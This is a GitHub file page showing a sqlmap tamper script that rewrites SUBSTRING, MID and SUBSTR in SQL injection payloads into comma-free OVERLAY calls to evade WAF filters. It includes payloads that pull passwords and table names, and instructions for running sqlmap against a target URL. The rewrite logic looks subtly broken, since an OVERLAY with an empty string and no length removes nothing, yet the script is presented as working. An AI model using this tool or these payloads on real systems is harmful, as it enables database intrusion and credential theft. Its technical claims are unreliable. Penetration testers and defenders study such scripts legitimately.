-
-
Notifications
You must be signed in to change notification settings - Fork 6.2k
Expand file tree
/
Copy pathoverlay.py
More file actions
153 lines (115 loc) · 5.13 KB
/
overlay.py
File metadata and controls
153 lines (115 loc) · 5.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces SUBSTRING with OVERLAY function (without commas)
Tested against:
* PostgreSQL
* MySQL (limited support)
Notes:
* Replaces SUBSTRING(str, pos, len) with nested OVERLAY functions
* Works without comma characters in the query
* Useful for bypassing WAF filters that block commas
>>> tamper('SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)')
'OVERLAY(OVERLAY((SELECT password FROM users LIMIT 1) PLACING \\'\\' FROM 1 FOR 2) PLACING \\'\\' FROM 2)'
>>> tamper('SUBSTRING(username FROM 1 FOR 1)')
'OVERLAY(username PLACING \\'\\' FROM 2)'
>>> tamper('SUBSTRING(password,5,1)')
'OVERLAY(OVERLAY(password PLACING \\'\\' FROM 1 FOR 4) PLACING \\'\\' FROM 2)'
"""
retVal = payload
if payload:
# Pattern 1: SUBSTRING(string FROM position FOR length)
# PostgreSQL style
pattern1 = r'SUBSTRING\s*\(\s*(.+?)\s+FROM\s+(\d+)\s+FOR\s+(\d+)\s*\)'
def replace_postgres_style(match):
string = match.group(1)
position = int(match.group(2))
length = int(match.group(3))
# Only handle single character extraction (length = 1)
if length != 1:
return match.group(0)
if position == 1:
# Special case: first character
return f"OVERLAY({string} PLACING '' FROM 2)"
else:
# General case: position > 1
return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
retVal = re.sub(pattern1, replace_postgres_style, retVal, flags=re.IGNORECASE)
# Pattern 2: SUBSTRING(string, position, length)
# MySQL/Standard style with commas
pattern2 = r'SUBSTRING\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
def replace_mysql_style(match):
string = match.group(1)
position = int(match.group(2))
length = int(match.group(3))
# Only handle single character extraction (length = 1)
if length != 1:
return match.group(0)
if position == 1:
return f"OVERLAY({string} PLACING '' FROM 2)"
else:
return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
retVal = re.sub(pattern2, replace_mysql_style, retVal, flags=re.IGNORECASE)
# Pattern 3: MID(string, position, length) - MySQL alternative
pattern3 = r'MID\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
retVal = re.sub(pattern3, replace_mysql_style, retVal, flags=re.IGNORECASE)
# Pattern 4: SUBSTR(string, position, length) - Another alternative
pattern4 = r'SUBSTR\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
retVal = re.sub(pattern4, replace_mysql_style, retVal, flags=re.IGNORECASE)
return retVal
# Test cases for validation
if __name__ == "__main__":
test_cases = [
# PostgreSQL style
"SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)",
"SUBSTRING(username FROM 1 FOR 1)",
"SUBSTRING(database() FROM 5 FOR 1)",
# MySQL style
"SUBSTRING(password,5,1)",
"SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)",
"MID(username,3,1)",
"SUBSTR(password,2,1)",
# Complex queries
"AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))>65",
"UNION SELECT SUBSTRING(table_name FROM 1 FOR 1) FROM information_schema.tables",
# Edge cases
"SUBSTRING(col FROM 1 FOR 1)",
"SUBSTRING(col,1,1)",
]
print("=== SQLMAP TAMPER SCRIPT TEST ===\n")
for i, test in enumerate(test_cases, 1):
result = tamper(test)
print(f"Test {i}:")
print(f" Original: {test}")
print(f" Tampered: {result}")
print()
print("\n=== USAGE INSTRUCTIONS ===")
print("""
1. Save this script as 'overlay.py' in SQLMap's tamper directory:
/path/to/sqlmap/tamper/overlay.py
2. Run SQLMap with the tamper script:
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay
3. Combine with other tampers:
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay,space2comment
4. Use with specific DBMS:
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay --dbms=postgresql
5. Test the tamper:
python overlay.py
Example transformation:
Before: SUBSTRING(password,3,1)
After: OVERLAY(OVERLAY(password PLACING '' FROM 1 FOR 2) PLACING '' FROM 2)
Benefits:
✓ No comma characters in the query
✓ Bypasses WAF filters blocking SUBSTRING
✓ Works with PostgreSQL OVERLAY function
✓ Supports nested subqueries
""")